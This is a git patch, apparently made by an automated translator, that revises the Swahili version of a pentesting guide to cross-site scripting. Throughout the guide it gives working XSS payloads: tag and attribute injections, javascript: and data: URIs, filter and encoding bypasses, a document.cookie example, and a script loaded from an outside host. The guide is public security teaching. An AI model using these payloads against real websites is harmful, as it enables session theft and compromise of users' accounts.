From cf29c0f7da1d9108f79d0deac232ab9f779553af Mon Sep 17 00:00:00 2001
From: Translator <github-actions@github.com>
Date: Thu, 28 Aug 2025 19:36:49 +0000
Subject: [PATCH] Translated ['',
 'src/pentesting-web/xss-cross-site-scripting/js-hoisting

---
 .../xss-cross-site-scripting/README.md        | 496 ++++++++++--------
 .../xss-cross-site-scripting/js-hoisting.md   |  44 +-
 2 files changed, 308 insertions(+), 232 deletions(-)

diff --git a/src/pentesting-web/xss-cross-site-scripting/README.md b/src/pentesting-web/xss-cross-site-scripting/README.md
index af508d4b9..f58fdb40b 100644
--- a/src/pentesting-web/xss-cross-site-scripting/README.md
+++ b/src/pentesting-web/xss-cross-site-scripting/README.md
@@ -2,66 +2,67 @@
 
 {{#include ../../banners/hacktricks-training.md}}
 
-## Methodology
+## Mbinu
 
-1. Angalia kama **thamani yoyote unayodhibiti** (_parameters_, _path_, _headers_?, _cookies_?) inarudi **katika** HTML au **inatumiwa** na **JS** code.
-2. **Pata muktadha** ambapo inarudi/inatumika.
-3. Ikiwa **inarudi**
-1. Angalia **ni alama zipi unaweza kutumia** na kulingana na hiyo, andaa payload:
-1. Katika **HTML safi**:
-1. Je, unaweza kuunda vitambulisho vipya vya HTML?
-2. Je, unaweza kutumia matukio au sifa zinazounga mkono `javascript:` protokali?
-3. Je, unaweza kupita ulinzi?
-4. Je, maudhui ya HTML yanatafsiriwa na injini yoyote ya JS upande wa mteja (_AngularJS_, _VueJS_, _Mavo_...), unaweza kutumia [**Client Side Template Injection**](../client-side-template-injection-csti.md).
-5. Ikiwa huwezi kuunda vitambulisho vya HTML vinavyotekeleza JS code, unaweza kutumia [**Dangling Markup - HTML scriptless injection**](../dangling-markup-html-scriptless-injection/index.html)?
+1. Angalia kama **any value you control** (_parameters_, _path_, _headers_?, _cookies_?) ina **reflected** kwenye HTML au inatumiwa na **JS** code.
+2. Tafuta **context** ambako ime reflected/used.
+3. Ikiwa **reflected**
+1. Angalia **ni symbols gani unaweza kutumia** na kutegemea hayo, andaa payload:
+1. Katika **raw HTML**:
+1. Je, unaweza kuunda tags mpya za HTML?
+2. Je, unaweza kutumia events au attributes zinazo-support `javascript:` protocol?
+3. Je, unaweza ku-bypass protections?
+4. Je, content ya HTML ina-interpretwa na engine yoyote ya client side JS (_AngularJS_, _VueJS_, _Mavo_...), unaweza kutumia [**Client Side Template Injection**](../client-side-template-injection-csti.md).
+5. Ikiwa huwezi kuunda HTML tags zinazotekeleza JS code, je, unaweza kutumia [**Dangling Markup - HTML scriptless injection**](../dangling-markup-html-scriptless-injection/index.html)?
 2. Ndani ya **HTML tag**:
-1. Je, unaweza kutoka kwenye muktadha wa HTML safi?
-2. Je, unaweza kuunda matukio/mapitio mapya ili kutekeleza JS code?
-3. Je, sifa ambapo umekwama inasaidia utekelezaji wa JS?
-4. Je, unaweza kupita ulinzi?
+1. Je, unaweza kutoka hadi raw HTML context?
+2. Je, unaweza kuunda events/attributes mpya za kuendesha JS code?
+3. Je, attribute ambako umefungwa inasaidia utekelezaji wa JS?
+4. Je, unaweza ku-bypass protections?
 3. Ndani ya **JavaScript code**:
 1. Je, unaweza kutoroka `<script>` tag?
-2. Je, unaweza kutoroka mfuatano na kutekeleza JS code tofauti?
-3. Je, ingizo lako liko katika template literals \`\`?
-4. Je, unaweza kupita ulinzi?
-4. Javascript **function** inayo **tekelezwa**
-1. Unaweza kuashiria jina la kazi ya kutekeleza. e.g.: `?callback=alert(1)`
-4. Ikiwa **inatumiwa**:
-1. Unaweza kutumia **DOM XSS**, zingatia jinsi ingizo lako linavyodhibitiwa na ikiwa **ingizo lako lililodhibitiwa linatumika na sink yoyote.**
+2. Je, unaweza kutoroka string na kuendesha JS tofauti?
+3. Je, input zako ziko ndani ya template literals ``?
+4. Je, unaweza ku-bypass protections?
+4. Javascript **function** inayo **executed**
+1. Unaweza kuonyesha jina la function itakayotekelezwa. mfano: `?callback=alert(1)`
+4. Ikiwa **used**:
+1. Unaweza kuchukua faida ya **DOM XSS**, zingatia jinsi input yako inasimizwa na ikiwa **controlled input** yako inatumika kwenye sink yoyote.
+
+Unapotumia XSS ngumu inaweza kuwa muhimu kujua kuhusu:
 
-Unapofanya kazi kwenye XSS ngumu unaweza kupata ni ya kuvutia kujua kuhusu:
 
 {{#ref}}
 debugging-client-side-js.md
 {{#endref}}
 
-## Reflected values
+## Thamani zilizorejeshwa
 
-Ili kufanikiwa kutumia XSS, jambo la kwanza unahitaji kupata ni **thamani inayodhibitiwa na wewe ambayo inarudi** kwenye ukurasa wa wavuti.
+Ili kufanikiwa ku-exploit XSS kitu cha kwanza unachohitaji kupata ni **thamani unayodhibiti ambayo ina reflected** kwenye ukurasa wa web.
 
-- **Inarudi kwa kati**: Ikiwa unapata kwamba thamani ya parameter au hata njia inarudi kwenye ukurasa wa wavuti unaweza kutumia **Reflected XSS**.
-- **Ilihifadhiwa na inarudi**: Ikiwa unapata kwamba thamani inayodhibitiwa na wewe imehifadhiwa kwenye seva na inarudi kila wakati unapoingia kwenye ukurasa unaweza kutumia **Stored XSS**.
-- **Inafikiwa kupitia JS**: Ikiwa unapata kwamba thamani inayodhibitiwa na wewe inafikiwa kwa kutumia JS unaweza kutumia **DOM XSS**.
+- **Intermediately reflected**: Ikiwa unagundua kwamba thamani ya parameter au hata path ina reflected kwenye ukurasa wa web unaweza ku-exploit **Reflected XSS**.
+- **Stored and reflected**: Ikiwa unagundua thamani unayodhibiti inahifadhiwa kwenye server na inareflect kila unapofungua ukurasa unaweza ku-exploit **Stored XSS**.
+- **Accessed via JS**: Ikiwa unagundua thamani unayodhibiti inafikiwa kwa kutumia JS unaweza ku-exploit **DOM XSS**.
 
 ## Contexts
 
-Unapojaribu kutumia XSS, jambo la kwanza unahitaji kujua ni **wapi ingizo lako linavyorudi**. Kulingana na muktadha, utaweza kutekeleza JS code isiyo na mipaka kwa njia tofauti.
+Unapojaribu ku-exploit XSS kitu cha kwanza unachohitaji kujua ni **wapi input yako inareflect**. Kutegemea context, utaweza kuendesha arbitrary JS code kwa njia tofauti.
 
 ### Raw HTML
 
-Ikiwa ingizo lako **linarudi kwenye ukurasa wa HTML safi** utahitaji kutumia baadhi ya **HTML tag** ili kutekeleza JS code: `<img , <iframe , <svg , <script` ... hizi ni baadhi tu ya vitambulisho vingi vya HTML ambavyo unaweza kutumia.\
+Ikiwa input yako ime **reflected on the raw HTML** ukurasa utahitaji kutumia baadhi ya **HTML tag** ili kuendesha JS code: `<img , <iframe , <svg , <script` ... hizi ni baadhi tu ya tags nyingi za HTML unazoweza kutumia.\
 Pia, kumbuka [Client Side Template Injection](../client-side-template-injection-csti.md).
 
-### Ndani ya sifa za HTML tags
+### Inside HTML tags attribute
 
-Ikiwa ingizo lako linarudi ndani ya thamani ya sifa ya tag unaweza kujaribu:
+Ikiwa input yako ime reflected ndani ya value ya attribute ya tag unaweza kujaribu:
 
-1. Kutoroka **kutoka kwenye sifa na kutoka kwenye tag** (kisha utakuwa kwenye HTML safi) na kuunda vitambulisho vipya vya HTML ili kutumia: `"><img [...]`
-2. Ikiwa **unaweza kutoroka kutoka kwenye sifa lakini si kutoka kwenye tag** (`>` imeandikwa au kufutwa), kulingana na tag unaweza **kuunda tukio** linalotekeleza JS code: `" autofocus onfocus=alert(1) x="`
-3. Ikiwa **huwezi kutoroka kutoka kwenye sifa** (`"` inandikwa au kufutwa), basi kulingana na **sifa ipi** thamani yako inarudi ndani yake **ikiwa unadhibiti thamani yote au sehemu tu** utaweza kuitumia. Kwa **mfano**, ikiwa unadhibiti tukio kama `onclick=` utaweza kufanya itekeleze code isiyo na mipaka wakati inabonyezwa. Mfano mwingine wa kuvutia ni sifa `href`, ambapo unaweza kutumia protokali `javascript:` kutekeleza code isiyo na mipaka: **`href="javascript:alert(1)"`**
-4. Ikiwa ingizo lako linarudi ndani ya "**vitambulisho visivyoweza kutumika**" unaweza kujaribu hila ya **`accesskey`** ili kutumia udhaifu (utahitaji aina fulani ya uhandisi wa kijamii ili kutumia hii): **`" accesskey="x" onclick="alert(1)" x="`**
+1. Kutoka **kutoka kwenye attribute na kutoka kwenye tag** (basi utakuwa katika raw HTML) na kuunda tag mpya za HTML za kutumia: `"><img [...]`
+2. Ikiwa **unaweza kutoka kwenye attribute lakini si kutoka tag** (`>` ime-encoded au imefutwa), kutegemea tag unaweza **unda event** inayotekeleza JS code: `" autofocus onfocus=alert(1) x="`
+3. Ikiwa **huwezi kutoka kwenye attribute** (`"` ina-encoded au imefutwa), basi kutegemea **ni attribute gani** thamani yako inareflect ndani yake **na kama unadhibiti value nzima au sehemu tu** utaweza kuiba. Kwa **mfano**, kama unadhibiti event kama `onclick=` utaweza kuitumia kuendesha code ya kawaida wakati inabonyezwa. Mfano mwingine wa kuvutia ni attribute `href`, ambapo unaweza kutumia `javascript:` protocol kuendesha code: **`href="javascript:alert(1)"`**
+4. Ikiwa input yako ime reflected ndani ya "unexpoitable tags" unaweza kujaribu trik ya **`accesskey`** ku-abuse vuln (utahitaji aina ya social engineering ku-exploit hili): **`" accesskey="x" onclick="alert(1)" x="`**
 
-Mfano wa ajabu wa Angular inatekeleza XSS ikiwa unadhibiti jina la darasa:
+Mfano wa ajabu wa Angular inavyotekeleza XSS ikiwa unadhibiti class name:
 ```html
 <div ng-app>
 <strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
@@ -69,15 +70,15 @@ Mfano wa ajabu wa Angular inatekeleza XSS ikiwa unadhibiti jina la darasa:
 ```
 ### Ndani ya msimbo wa JavaScript
 
-Katika kesi hii, ingizo lako linarejelewa kati ya **`<script> [...] </script>`** lebo za ukurasa wa HTML, ndani ya faili ya `.js` au ndani ya sifa kwa kutumia **`javascript:`** itifaki:
+Katika kesi hii ingizo lako linaakisiwa kati ya **`<script> [...] </script>`** tagi za ukurasa wa HTML, ndani ya faili `.js` au ndani ya attribute inayotumia protocol ya **`javascript:`**:
 
-- Ikiwa inarejelewa kati ya **`<script> [...] </script>`** lebo, hata kama ingizo lako liko ndani ya aina yoyote ya nukuu, unaweza kujaribu kuingiza `</script>` na kutoroka kutoka kwenye muktadha huu. Hii inafanya kazi kwa sababu ** kivinjari kitaanza kwanza kuchambua lebo za HTML** na kisha yaliyomo, kwa hivyo, hakitagundua kwamba lebo yako ya kuingiza `</script>` iko ndani ya msimbo wa HTML.
-- Ikiwa inarejelewa **ndani ya mfuatano wa JS** na hila ya mwisho haifanyi kazi, unahitaji **kutoka** kwenye mfuatano, **kutekeleza** msimbo wako na **kurekebisha** msimbo wa JS (ikiwa kuna kosa lolote, halitatekelezwa):
+- Ikiwa inaakisiwa kati ya **`<script> [...] </script>`** tagi, hata kama ingizo lako iko ndani ya aina yoyote ya nukuu, unaweza kujaribu kuingiza `</script>` na kutoka kwenye muktadha huu. Hii inafanya kazi kwa sababu **kivinjari kwanza kitatafsiri tagi za HTML** kisha yaliyomo, kwa hivyo haitagundua kuwa tagi uliyoingiza `</script>` iko ndani ya msimbo wa HTML.
+- Ikiwa inaakisiwa **ndani ya JS string** na mbinu ya mwisho haitumiki utahitaji **kutoka** kwenye string, **kuendesha** msimbo wako na **kuunganisha upya** msimbo wa JS (kama kutakuwa na kosa lolote, hautatekelezwa:
 - `'-alert(1)-'`
 - `';-alert(1)//`
 - `\';alert(1)//`
-- Ikiwa inarejelewa ndani ya maandiko ya templeti, unaweza **kuingiza maelekezo ya JS** kwa kutumia sintaksia ya `${ ... }`: `` var greetings = `Hello, ${alert(1)}` ``
-- **Unicode encode** inafanya kazi kuandika **msimbo wa javascript halali**:
+- Ikiwa inaakisiwa ndani ya template literals unaweza **kuingiza JS expressions** ukitumia sintaksia `${ ... }`: `` var greetings = `Hello, ${alert(1)}` ``
+- **Unicode encode** inafanya kazi kuandika **valid javascript code**:
 ```javascript
 alert(1)
 alert(1)
@@ -85,7 +86,7 @@ alert(1)
 ```
 #### Javascript Hoisting
 
-Javascript Hoisting inarejelea fursa ya **kutangaza kazi, mabadiliko au madarasa baada ya kutumika ili uweze kutumia hali ambapo XSS inatumia mabadiliko au kazi zisizotangazwa.**\
+Javascript Hoisting inarejelea fursa ya **kutangaza functions, variables au classes baada ya kutumika ili uweze kutumia mazingira ambapo XSS inatumia functions au variables ambazo hazijatangazwa.**\
 **Angalia ukurasa ufuatao kwa maelezo zaidi:**
 
 
@@ -95,19 +96,19 @@ js-hoisting.md
 
 ### Javascript Function
 
-Kurasa kadhaa za wavuti zina mwisho ambao **zinakubali kama parameter jina la kazi ya kutekeleza**. Mfano wa kawaida wa kuona katika mazingira halisi ni kitu kama: `?callback=callbackFunc`.
+Kurasa kadhaa za wavuti zina endpoints ambazo **zinakubali kama parameter jina la function la kutekeleza**. Mfano wa kawaida unaoonekana ni kitu kama: `?callback=callbackFunc`.
 
-Njia nzuri ya kugundua ikiwa kitu kilichotolewa moja kwa moja na mtumiaji kinajaribu kutekelezwa ni **kubadilisha thamani ya param** (kwa mfano kuwa 'Vulnerable') na kutazama kwenye console kwa makosa kama:
+Njia nzuri ya kugundua ikiwa kitu kinachotolewa moja kwa moja na mtumiaji kinajaribu kutekelezwa ni **kubadilisha thamani ya param** (kwa mfano kuwa 'Vulnerable') na kutazama console kwa makosa kama:
 
 ![](<../../images/image (711).png>)
 
-Ikiwa ni hatari, unaweza kuwa na uwezo wa **kuanzisha tahadhari** kwa kutuma tu thamani: **`?callback=alert(1)`**. Hata hivyo, ni kawaida sana kwamba mwisho huu uta **thibitisha maudhui** ili kuruhusu herufi, nambari, alama za nukta na viwango vya chini (**`[\w\._]`**).
+Iwapo ni vulnerable, unaweza kuweza **kusababisha alert** kwa kutuma thamani: **`?callback=alert(1)`**. Hata hivyo, mara nyingi endpoints hizi zitafanya **kuthibitisha maudhui** ili kuruhusu herufi, nambari, dots na underscores tu (**`[\w\._]`**).
 
-Hata hivyo, hata na kikomo hicho bado inawezekana kufanya baadhi ya vitendo. Hii ni kwa sababu unaweza kutumia herufi hizo halali ili **kufikia kipengee chochote katika DOM**:
+Hata hivyo, hata kwa kikomo hicho bado inawezekana kufanya baadhi ya vitendo. Hii ni kwa sababu unaweza kutumia chars halali hizo ili **kupata access kwa element yoyote katika DOM**:
 
 ![](<../../images/image (747).png>)
 
-Baadhi ya kazi muhimu kwa hili:
+Baadhi ya functions zinazofaa kwa hili:
 ```
 firstElementChild
 lastElementChild
@@ -115,11 +116,11 @@ nextElementSibiling
 lastElementSibiling
 parentElement
 ```
-Unaweza pia kujaribu **kuanzisha kazi za Javascript** moja kwa moja: `obj.sales.delOrders`.
+Unaweza pia kujaribu **kuchochea Javascript functions** moja kwa moja: `obj.sales.delOrders`.
 
-Hata hivyo, kawaida mwisho wa kutekeleza kazi iliyoonyeshwa ni mwisho bila DOM ya kuvutia sana, **kurasa nyingine katika asili hiyo hiyo** zitakuwa na **DOM ya kuvutia zaidi** ili kufanya vitendo zaidi.
+Hata hivyo, kawaida endpoints zinazoendesha function iliyotajwa ni endpoints zisizo na DOM yenye kuvutia, **other pages in the same origin** zitakuwa na **DOM yenye kuvutia zaidi** za kufanya vitendo zaidi.
 
-Kwa hivyo, ili **kutumia udhaifu huu katika DOM tofauti** utekaji wa **Same Origin Method Execution (SOME)** ulitengenezwa:
+Kwa hivyo, ili **kutumia udhaifu huu katika DOM tofauti** ulibuniwa utekaji wa **Same Origin Method Execution (SOME)**:
 
 {{#ref}}
 some-same-origin-method-execution.md
@@ -127,7 +128,7 @@ some-same-origin-method-execution.md
 
 ### DOM
 
-Kuna **kodhi ya JS** inayotumia **kwa njia isiyo salama** baadhi ya **data inayodhibitiwa na mshambuliaji** kama `location.href`. Mshambuliaji, anaweza kutumia hii kutekeleza kodhi ya JS isiyo na mipaka.
+Kuna **JS code** inayotumia kwa **kwa njia isiyo salama** baadhi ya **data inayodhibitiwa na mshambuliaji** kama `location.href`. Mshambuliaji anaweza kutumia hili kutekeleza arbitrary JS code.
 
 {{#ref}}
 dom-xss.md
@@ -135,13 +136,14 @@ dom-xss.md
 
 ### **Universal XSS**
 
-Aina hii ya XSS inaweza kupatikana **popote**. Hazitegemei tu unyakuzi wa mteja wa programu ya wavuti bali kwenye **muktadha wowote**. Aina hii ya **utekaji wa JavaScript isiyo na mipaka** inaweza hata kutumiwa kupata **RCE**, **kusoma** **faili** **za kawaida** katika wateja na seva, na zaidi.\
-Baadhi ya **esemples**:
+Aina hizi za XSS zinaweza kupatikana **mahali popote**. Hazitegemei tu unyonyaji wa client wa web application bali kwenye **muktadha** wowote. Aina hizi za **arbitrary JavaScript execution** zinaweza hata kutumika kupata **RCE**, **kusoma** **arbitrary** **files** kwa clients na servers, na mengine zaidi.\
+Baadhi ya **mifano**:
 
 {{#ref}}
 server-side-xss-dynamic-pdf.md
 {{#endref}}
 
+
 {{#ref}}
 ../../network-services-pentesting/pentesting-web/electron-desktop-apps/
 {{#endref}}
@@ -150,13 +152,13 @@ server-side-xss-dynamic-pdf.md
 
 ![from https://twitter.com/hackerscrolls/status/1273254212546281473?s=21](<../../images/EauBb2EX0AERaNK (1).jpg>)
 
-## Kuingiza ndani ya HTML safi
+## Injecting inside raw HTML
 
-Wakati ingizo lako linarejelewa **ndani ya ukurasa wa HTML** au unaweza kutoroka na kuingiza kodhi ya HTML katika muktadha huu, **jambo la kwanza** unahitaji kufanya ni kuangalia kama unaweza kutumia `<` kuunda vitambulisho vipya: Jaribu tu **kuonyesha** hiyo **herufi** na uone kama inachakatwa **HTML** au **imeondolewa** au ikiwa inarejelewa **bila mabadiliko**. **Ni tu katika kesi ya mwisho utaweza kutumia kesi hii**.\
-Kwa kesi hizi pia **zingatia** [**Client Side Template Injection**](../client-side-template-injection-csti.md)**.**\
-_**Kumbuka: Maoni ya HTML yanaweza kufungwa kwa kutumia\*\***\***\*`-->`\*\***\***\*au \*\***`--!>`\*\*_
+Unapoweka input inayoonekana **ndani ya HTML page** au unaweza kutoroka na kuingiza HTML code katika muktadha huu, jambo la **kwanza** unalopaswa kufanya ni kuangalia kama unaweza kutumia `<` kuunda tag mpya: Jaribu tu **kuonyesha** hiyo **char** na angalia kama inafanyiwa **HTML encoded** au **kufutwa** au ikiwa inareflektiwa **bila mabadiliko**. **Ni tu katika kesi ya mwisho utakapoweza kuitekeleza**.\
+Kwa kesi hizi pia **kumbuka** [**Client Side Template Injection**](../client-side-template-injection-csti.md)**.**\
+_**Kumbuka: A HTML comment inaweza kufungwa kwa kutumia\*\***\***\*`-->`\*\***\***\*au \*\***`--!>`\*\*_
 
-Katika kesi hii na ikiwa hakuna orodha nyeusi/nyeupe inayotumika, unaweza kutumia payloads kama:
+Katika kesi hii na kama hakuna black/whitelisting inayotumika, unaweza kutumia payloads kama:
 ```html
 <script>
 alert(1)
@@ -164,22 +166,22 @@ alert(1)
 <img src="x" onerror="alert(1)" />
 <svg onload=alert('XSS')>
 ```
-Lakini, ikiwa black/whitelisting ya tags/attributes inatumika, utahitaji **kujaribu nguvu ambayo tags** unaweza kuunda.\
-Mara tu unapokuwa **umeweza kubaini ni tags zipi zinazoruhusiwa**, utahitaji **kujaribu nguvu attributes/events** ndani ya tags zilizopatikana ili kuona jinsi unavyoweza kushambulia muktadha.
+Lakini, ikiwa tags/attributes black/whitelisting inatumika, utahitaji **brute-force which tags** unaweza kuunda.\
+Mara tu unapokuwa umepata **located which tags are allowed**, utahitaji **brute-force attributes/events** ndani ya tags halali zilizopatikana ili kuona jinsi unavyoweza kushambulia context.
 
 ### Tags/Events brute-force
 
-Nenda kwenye [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) na bonyeza _**Copy tags to clipboard**_. Kisha, tuma zote kwa kutumia Burp intruder na angalia ikiwa kuna tags yoyote ambayo haikugunduliwa kama mbaya na WAF. Mara tu unapokuwa umepata ni tags zipi unaweza kutumia, unaweza **kujaribu nguvu matukio yote** kwa kutumia tags halali (katika ukurasa huo huo bonyeza _**Copy events to clipboard**_ na ufuate utaratibu sawa kama hapo awali).
+Go to [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) and click on _**Copy tags to clipboard**_. Then, send all of them using Burp intruder and check if any tags wasn't discovered as malicious by the WAF. Once you have discovered which tags you can use, you can **brute force all the events** using the valid tags (in the same web page click on _**Copy events to clipboard**_ and follow the same procedure as before).
 
 ### Custom tags
 
-Ikiwa huja pata tag halali ya HTML, unaweza kujaribu **kuunda tag maalum** na kutekeleza msimbo wa JS kwa kutumia attribute `onfocus`. Katika ombi la XSS, unahitaji kumaliza URL na `#` ili kufanya ukurasa **uangalie kwenye kitu hicho** na **utekeleze** msimbo:
+If you didn't find any valid HTML tag, you could try to **create a custom tag** and and execute JS code with the `onfocus` attribute. In the XSS request, you need to end the URL with `#` to make the page **focus on that object** and **execute** the code:
 ```
 /?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x
 ```
 ### Blacklist Bypasses
 
-Ikiwa aina fulani ya blacklist inatumika unaweza kujaribu kuipita kwa mbinu za kipumbavu:
+Ikiwa aina fulani ya blacklist inatumiwa, unaweza kujaribu kufanya bypass kwa triki za kuchekesha:
 ```javascript
 //Random capitalization
 <script> --> <ScrIpT>
@@ -231,29 +233,29 @@ onerror=alert`1`
 ```
 ### Length bypass (small XSSs)
 
-> [!NOTE] > **XSS ndogo zaidi kwa mazingira tofauti** payload [**inaweza kupatikana hapa**](https://github.com/terjanq/Tiny-XSS-Payloads) na [**hapa**](https://tinyxss.terjanq.me).
+> [!NOTE] > **Zaidi za tiny XSS kwa mazingira tofauti** payload [**can be found here**](https://github.com/terjanq/Tiny-XSS-Payloads) and [**here**](https://tinyxss.terjanq.me).
 ```html
 <!-- Taken from the blog of Jorge Lajara -->
 <svg/onload=alert``> <script src=//aa.es> <script src=//℡㏛.pw>
 ```
-The last one is using 2 unicode characters which expands to 5: telsr\
+Ya mwisho inatumia 2 characters za unicode ambazo zinaongezeka hadi 5: telsr\
 More of these characters can be found [here](https://www.unicode.org/charts/normalization/).\
 To check in which characters are decomposed check [here](https://www.compart.com/en/unicode/U+2121).
 
 ### Click XSS - Clickjacking
 
-Ikiwa ili kutumia udhaifu huo unahitaji **mtumiaji kubonyeza kiungo au fomu** yenye data iliyojazwa awali unaweza kujaribu [**kudhulumu Clickjacking**](../clickjacking.md#xss-clickjacking) (ikiwa ukurasa una udhaifu).
+Iwapo, ili kuutilia uvamizi udhaifu unahitaji **mtumiaji kubofya link au form** yenye data iliyojazwa awali, unaweza kujaribu [**abuse Clickjacking**](../clickjacking.md#xss-clickjacking) (ikiwa ukurasa unaathirika).
 
 ### Impossible - Dangling Markup
 
-Ikiwa unafikiri tu kwamba **haiwezekani kuunda tag ya HTML yenye sifa ya kutekeleza msimbo wa JS**, unapaswa kuangalia [**Danglig Markup** ](../dangling-markup-html-scriptless-injection/index.html)kwa sababu unaweza **kutumia** udhaifu huo **bila** kutekeleza **JS** msimbo.
+Iwapo unafikiri kwamba **haiwezekani kuunda HTML tag yenye attribute itakayotekeleza JS code**, unapaswa kuangalia [**Danglig Markup** ](../dangling-markup-html-scriptless-injection/index.html) kwa sababu unaweza **exploit** udhaifu **bila** kuendesha **JS** code.
 
-## Injecting inside HTML tag
+## Kuingiza ndani ya HTML tag
 
 ### Inside the tag/escaping from attribute value
 
-Ikiwa uko **ndani ya tag ya HTML**, jambo la kwanza unaloweza kujaribu ni **kutoroka** kutoka kwa tag na kutumia baadhi ya mbinu zilizotajwa katika [sehemu ya awali](#injecting-inside-raw-html) kutekeleza msimbo wa JS.\
-Ikiwa huwezi **kutoroka kutoka kwa tag**, unaweza kuunda sifa mpya ndani ya tag kujaribu kutekeleza msimbo wa JS, kwa mfano kutumia payload kama (_kumbuka kwamba katika mfano huu nukuu mbili zinatumika kutoroka kutoka kwa sifa, hutahitaji hizo ikiwa ingizo lako linarejelewa moja kwa moja ndani ya tag_):
+Iwapo uko **inside a HTML tag**, jambo la kwanza unaloweza kujaribu ni **escape** kutoka kwenye tag na kutumia baadhi ya techniques zilizotajwa katika the [previous section](#injecting-inside-raw-html) ili kuendesha JS code.\
+Ikiwa **huwezi escape kutoka kwenye tag**, unaweza kuunda attributes mpya ndani ya tag ili kujaribu kuendesha JS code, kwa mfano kwa kutumia payload kama (_note that in this example double quotes are use to escape from the attribute, you won't need them if your input is reflected directly inside the tag_):
 ```bash
 " autofocus onfocus=alert(document.domain) x="
 " onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t
@@ -268,16 +270,16 @@ Ikiwa huwezi **kutoroka kutoka kwa tag**, unaweza kuunda sifa mpya ndani ya tag
 #moving your mouse anywhere over the page (0-click-ish):
 <div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.0);z-index: 5000;" onmouseover="alert(1)"></div>
 ```
-### Ndani ya sifa
+### Ndani ya attribute
 
-Hata kama huwezi **kutoroka kutoka kwa sifa** (`"` inakodishwa au kufutwa), kulingana na **sifa gani** thamani yako inarudishwa ndani **kama unadhibiti thamani yote au sehemu tu** utaweza kuitumia vibaya. Kwa **mfano**, ikiwa unadhibiti tukio kama `onclick=` utaweza kufanya itekeleze msimbo wa kiholela inapobofya.\
-Mfano mwingine wa kuvutia ni sifa `href`, ambapo unaweza kutumia itifaki `javascript:` kutekeleza msimbo wa kiholela: **`href="javascript:alert(1)"`**
+Hata kama **huwezi kutoroka kutoka attribute** (`"` is being encoded or deleted), kutegemea ni **attribute gani** thamani yako inaonekana ndani na **ikiwa unadhibiti thamani yote au sehemu tu** utaweza kuitumia vibaya. Kwa **mfano**, ikiwa unadhibiti event kama `onclick=` utaweza kufanya iite arbitrary code wakati inabonyezwa.\
+Mfano mwingine wa kuvutia ni attribute `href`, ambapo unaweza kutumia protocol ya `javascript:` kutekeleza arbitrary code: **`href="javascript:alert(1)"`**
 
-**Kutoroka ndani ya tukio kwa kutumia HTML encoding/URL encode**
+**Bypass inside event using HTML encoding/URL encode**
 
-**Herufi za HTML zilizokodishwa** ndani ya thamani ya sifa za vitambulisho vya HTML **zinatolewa wakati wa wakati wa utekelezaji**. Kwa hivyo kitu kama ifuatavyo kitakuwa halali (mzigo uko kwenye maandiko makubwa): `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`&apos;-alert(1)-&apos;`**`';">Rudi Nyuma </a>`
+Tabia za **HTML encoded characters** ndani ya value ya HTML tags attributes zina **decoded on runtime**. Hivyo kitu kama kifuatacho kitakuwa halali (payload iko kwa herufi nzito): `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`&apos;-alert(1)-&apos;`**`';">Go Back </a>`
 
-Kumbuka kwamba **aina yoyote ya HTML encode ni halali**:
+Kumbuka kwamba **any kind of HTML encode is valid**:
 ```javascript
 //HTML entities
 &apos;-alert(1)-&apos;
@@ -298,15 +300,15 @@ Kumbuka kwamba **aina yoyote ya HTML encode ni halali**:
 ```python
 <a href="https://example.com/lol%22onmouseover=%22prompt(1);%20img.png">Click</a>
 ```
-**Kupita ndani ya tukio kwa kutumia Unicode encode**
+**Bypass ndani ya event kutumia Unicode encode**
 ```javascript
 //For some reason you can use unicode to encode "alert" but not "(1)"
 <img src onerror=\u0061\u006C\u0065\u0072\u0074(1) />
 <img src onerror=\u{61}\u{6C}\u{65}\u{72}\u{74}(1) />
 ```
-### Mipango Maalum Ndani ya sifa
+### Protokoli Maalum Ndani ya attribute
 
-Hapa unaweza kutumia mipango **`javascript:`** au **`data:`** katika baadhi ya maeneo ili **kutekeleza msimbo wa JS wa kiholela**. Baadhi zitahitaji mwingiliano wa mtumiaji na zingine hazitahitaji.
+Huko unaweza kutumia protokoli **`javascript:`** au **`data:`** katika baadhi ya sehemu ili **kutekeleza nambari yoyote ya JS**. Baadhi zitahitaji mwingiliano wa mtumiaji, nyingine hazitahitaji.
 ```javascript
 javascript:alert(1)
 JavaSCript:alert(1)
@@ -326,9 +328,9 @@ data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=
 data:text/html;charset=thing;base64,PHNjcmlwdD5hbGVydCgndGVzdDMnKTwvc2NyaXB0Pg
 data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==
 ```
-**Mahali ambapo unaweza kuingiza protokali hizi**
+**Maeneo ambapo unaweza kuingiza itifaki hizi**
 
-**Kwa ujumla** protokali ya `javascript:` inaweza **kutumika katika tag yoyote inayokubali sifa `href`** na katika **zaidi ya** tag ambazo zinakubali **sifa `src`** (lakini si `<img>`)
+**Kwa ujumla** itifaki ya `javascript:` inaweza **kutumika katika tag yoyote inayokubali sifa `href`** na katika **mengi** ya tag zinazokubali **sifa `src`** (lakini sio `<img>`)
 ```html
 <a href="javascript:alert(1)">
 <a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
@@ -348,23 +350,23 @@ data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc
